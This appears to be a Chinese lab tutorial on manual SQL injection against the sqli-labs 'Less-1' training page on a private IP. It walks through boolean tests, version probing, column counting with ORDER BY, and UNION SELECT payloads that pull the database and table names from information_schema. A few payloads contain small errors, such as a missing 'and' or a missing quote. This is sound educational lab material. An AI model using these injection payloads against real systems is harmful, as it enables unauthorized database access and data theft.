继续测试 and 1=1
http://10.40.105.2:28410/Less-1/?id=1' and 1=1 --+
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:
继续测试 and 1=1 和 and 1=2:
一个恒等式,一个恒不等式,输入 and 1=1 页面返回正常,而如果输入 and 1=2 时页面返回出错,说明 SQL 语句被执行,程序没有对敏感字符进行过滤
现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
现在要判断数据库类型以及版本,构造语句如下:
http://10.40.105.2:28410/Less-1/?id=1' ord(mid(version(),1,1))>51 --+
发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。
进一步猜测数据注入位置:
如果返回错误,说明字段小于 10:
http://10.40.105.2:28410/Less-1/?id=1' order by 10 --+
如果返回错误,说明字段小于 4:
如果返回错误,说明字段为 3:
在查询之前,我们先来了解一下sql注入中的union用法
sql注入联合查询中,我们会碰到union select 1,2,3。那这个是什么意思呢, union
select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错
select name from student union select teacher from zhigong
返回结果:就是两个表的并集
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。select 之后可以接一串数字:1,2,3…只是一个例子,可以看做给表中的列起了一个别名
在Union注入时,由于我们已经知道了前面语句的字段数
现在要构造联合查询语句 (union select),语句如下:(列数一定要对应)
http://10.40.105.2:28410/Less-1/?id=1 and 1=3 union select 1,2,3 --+
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。
可以把 3 替换掉,先查询数据库名称,构造语句如下:
http://10.40.105.2:28410/Less-1/?id=1' and 1=2 union select 1,2, database() --+
浏览器返回了 security,说明这个网站的数据库名称是 security
用同样的手法查询表名,构造语句如下:
http://10.40.105.2:27027/Less-1/?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema= 'security' --+
http://10.40.105.2:23911/Less-1/?id=1' and 1=2 union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema= 'security'--+